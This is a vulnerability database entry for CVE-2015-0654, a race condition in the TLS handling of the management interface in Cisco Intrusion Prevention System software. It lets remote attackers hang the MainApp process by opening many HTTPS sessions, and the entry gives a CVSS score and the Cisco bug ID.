| VAR-201503-0159 | CVE-2015-0654 | Cisco Intrusion Prevention System Software management interface MainApp of TLS Service disruption in implementations (DoS) Vulnerabilities |
CVSS V2: 7.1 CVSS V3: - Severity: HIGH |
Race condition in the TLS implementation in MainApp in the management interface in Cisco Intrusion Prevention System (IPS) Software before 7.3(3)E4 allows remote attackers to cause a denial of service (process hang) by establishing many HTTPS sessions, aka Bug ID CSCuq40652. Cisco Intrusion Prevention System is prone to a remote denial-of-service vulnerability.
Attackers can exploit this issue to cause the MainApp process to become unresponsive, denying service to legitimate users.
This issue is being tracked by Cisco Bug ID CSCuq40652. The system can immediately interrupt, adjust or isolate some abnormal or harmful network data transmission behaviors